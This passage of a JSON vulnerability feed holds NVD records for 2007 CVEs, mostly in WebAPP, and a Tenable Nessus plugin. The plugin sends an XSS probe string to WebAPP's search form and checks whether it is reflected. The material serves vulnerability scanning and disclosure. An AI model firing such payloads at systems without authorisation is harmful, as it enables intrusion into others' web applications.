"cpe": ["cpe:/a:tyger:bug_tracking_system:1.1.3"], "id": "CVE-2007-1289", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1289", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:tyger:bug_tracking_system:1.1.3:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:53", "description": "WebAPP before 0.9.9.5 does not \"censor\" the Latest Member real name, which has unknown impact.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1186", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1186"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1186", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1186", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:59", "description": "Thomas R. Pasawicz HyperBook Guestbook 1.30 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download an admin password hash via a direct request for data/gbconfiguration.dat.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1192", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1192"], "modified": "2008-11-15T06:43:00", "cpe": ["cpe:/a:hyperbook:guestbook:1.30"], "id": "CVE-2007-1192", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1192", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:hyperbook:guestbook:1.30:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:51", "description": "The (1) Search, (2) Edit Profile, (3) Recommend, and (4) User Approval forms in WebAPP before 0.9.9.5 use hidden inputs, which has unknown impact and remote attack vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1185", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1185"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1185", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1185", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:23", "description": "Cross-site scripting (XSS) vulnerability in modules/out.php in Pyrophobia 2.1.3.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1159", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1159"], "modified": "2008-11-15T06:43:00", "cpe": ["cpe:/a:pyrophobia:pyrophobia:2.1.3.1"], "id": "CVE-2007-1159", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1159", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:pyrophobia:pyrophobia:2.1.3.1:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:53", "description": "WebAPP before 0.9.9.5 allows remote authenticated users, without admin privileges, to obtain sensitive information via (1) the Forum Archive feature and (2) Recent Searches.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1187", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1187"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1187", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1187", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:55", "description": "WebAPP before 0.9.9.5 allows remote attackers to submit Search form input that is not checked for (1) composition or (2) length, which has unknown impact, possibly related to \"search form hijacking\".", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1188", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1188"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1188", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1188", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:51:04", "description": "Multiple unspecified vulnerabilities in Epiware before 4.7.5 have unknown impact and attack vectors, possibly related to cross-site scripting (XSS) and other unspecified issues.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1197", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1197"], "modified": "2008-11-15T06:43:00", "cpe": ["cpe:/a:epiware:epiware:4.6.6", "cpe:/a:epiware:epiware:4.7"], "id": "CVE-2007-1197", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1197", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:epiware:epiware:4.7:*:*:*:*:*:*:*", "cpe:2.3:a:epiware:epiware:4.6.6:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:48", "description": "WebAPP before 0.9.9.5 allows remote authenticated users to spoof another user's Real Name via whitespace, which has unknown impact and attack vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1183", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1183"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1183", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1183", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:45", "description": "WebAPP before 0.9.9.5 does not properly manage e-mail addresses in certain contexts related to (1) the Recommend feature, Email Article (2) senders and (3) recipients, (4) New User Approval, (5) Edit Profiles, (6) the Newsletter Subscription form, (7) the Recommend form, and (8) sending of articles, which has unknown impact, and remote attack vectors related to spam attacks and possibly other attacks.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1179", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1179"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1179", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1179", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:46", "description": "WebAPP before 0.9.9.5 does not check referrers in certain forms, which might facilitate remote cross-site request forgery (CSRF) attacks or have other unknown impact.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1180", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1180"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1180", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1180", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:46", "description": "WebAPP before 0.9.9.5 passes (1) Unused Informations and (2) the username through Edit Profile forms, which has unknown impact and attack vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1181", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1181"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1181", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1181", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:51", "description": "The default configuration of WebAPP before 0.9.9.5 has a CAPTCHA setting of \"no,\" which makes it easier for automated programs to submit false data.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1184", "cwe": ["CWE-16"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1184"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1184", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1184", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:49", "description": "WebAPP before 0.9.9.5 allows remote Guest users to edit a Guest profile, which has unknown impact.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1182", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1182"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1182", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1182", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}], "nessus": [{"lastseen": "2023-01-11T14:27:33", "description": "The version of WebAPP from webapp.org installed on the remote host is affected by multiple, as-yet unspecified issues that could be abused by a remote attacker to completely compromise the affected application.", "cvss3": {}, "published": "2007-03-19T00:00:00", "type": "nessus", "title": "Webapp.org WebAPP < 0.9.9.6 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1259"], "modified": "2021-01-19T00:00:00", "cpe": [], "id": "WEBAPP_0996.NASL", "href": "https://www.tenable.com/plugins/nessus/24864", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(24864);\n script_version(\"1.18\");\n\n script_cve_id(\"CVE-2007-1259\");\n script_bugtraq_id(22691);\n\n script_name(english:\"Webapp.org WebAPP < 0.9.9.6 Multiple Vulnerabilities\");\n script_summary(english:\"Checks for an XSS flaw in WebAPP\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a Perl application that is affected by\nmultiple issues.\" );\n script_set_attribute(attribute:\"description\", value:\n\"The version of WebAPP from webapp.org installed on the remote host is\naffected by multiple, as-yet unspecified issues that could be abused\nby a remote attacker to completely compromise the affected\napplication.\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?85d8b8c8\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?002d99e2\" );\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to webapp.org WebAPP version 0.9.9.6 or later.\" );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);\n\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2007/03/19\");\n script_set_attribute(attribute:\"vuln_publication_date\", value: \"2007/02/22\");\n\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_end_attributes();\n\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2007-2021 Tenable Network Security, Inc.\");\n\n script_dependencies(\"webapp_detect.nasl\", \"cross_site_scripting.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"url_func.inc\");\n\n\nport = get_http_port(default:80);\nif (get_kb_item(\"www/\"+port+\"/generic_xss\")) exit(0);\n\n\nxss = string(\"'';!--\", '\"', \"<BODY ONLOAD=alert('\", SCRIPT_NAME, \"')>=&{()}\");\n\n\n# Test an install.\ninstall = get_kb_item(string(\"www/\", port, \"/webapp\"));\nif (isnull(install)) exit(0);\nmatches = eregmatch(string:install, pattern:\"^(.+) under (/.*)$\");\nif (!isnull(matches))\n{\n dir = matches[2];\n\n # Send a request to exploit an XSS flaw.\n referer = string(\"://\", get_host_name(), dir, \"/index.cgi\");\n if (get_port_transport(port) > ENCAPS_IP) referer = \"https\" + referer;\n else referer = \"http\" + referer;\n\n url = string(dir, \"/index.cgi?action=search\");\n postdata = string(\"pattern=\", urlencode(str:xss));\n r = http_send_recv3(method:\"POST\", item: url, port: port, data: postdata,\n add_headers: make_array( \"Referer\", referer, \n \t\t \t \"Content-Type\", \"application/x-www-form-urlencoded\"));\n if (isnull(r)) exit(0);\n res = r[2];\n\n # There's a problem if our exploit as the language.\n xss = str_replace(find:'\"', replace:\""\", string:xss);\n if (string('No matches found for <b>\"', xss, '\"</b>') >< res)\n {\n security_hole(port);\n set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);\n exit(0);\n }\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-11T14:27:30", "description": "The version of WordPress installed on the remote host appears to include a backdoor that allows an unauthenticated, remote attacker to execute arbitrary code on the remote host, subject to the permissions of the web server user id.", "cvss3": {}, "published": "2007-03-02T00:00:00", "type": "nessus", "title": "WordPress < 2.1.1 Multiple Script Backdoors", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2022-04-11T00:00:00", "cpe": ["cpe:/a:wordpress:wordpress"], 